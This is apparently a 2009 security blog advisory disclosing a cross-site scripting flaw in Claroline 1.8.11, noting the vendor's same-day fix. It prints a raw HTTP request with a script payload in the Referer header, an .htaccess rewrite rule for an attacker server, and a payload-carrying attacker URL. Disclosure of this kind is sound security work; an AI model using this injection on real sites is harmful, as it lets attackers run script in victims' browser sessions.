Tuesday, May 5, 2009

Claroline v.1.8.11 Cross-Site Scripting

Author: Gerendi Sandor Attila (http://gsasec.blogspot.com/)
Date: May 05, 2009
Package: Claroline (1.8.11)
Product Homepage: http://www.claroline.net/
Versions Affected: v.1.8.11 (Other versions may also be affected)
Severity: Medium

Input passed to the 'Referer' header parameter when posting to '/claroline/linker/notfound.php' is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Example:
GET /claroline_1_8_11/claroline/linker/notfound.php HTTP/1.0
Accept: */*
Referer: "><script>alert(123)</script><a href="

There are a couple of ways to inject arbitrary text (java script in our case) in the referer header parameter. One of the ways is using a rewrite rule on the remote attacker server. Example .htaccess file:
RewriteEngine  on
RewriteRule ^referer/.*$ test.php [L]
Where the test.php file will be the container of the /claroline_1_8_11/claroline/linker/notfound.php link.

Now a request like: http://remoteatackersite/referer/?"><script>alert(123)</script><a%20href="

will return a page from wich if we call /claroline_1_8_11/claroline/linker/notfound.php we trigger the XSS.

Note: For the first request browsers like IE are required (which does not automatically httpencode the get params)

Status:
1. Contacted the author at: May 05, 2009 via http://forum.claroline.net/.
2. The author promptly (same day) fixed the problem, read at: Re: Claroline 1.8.11 Cross-Site Scripting

No comments:

Post a Comment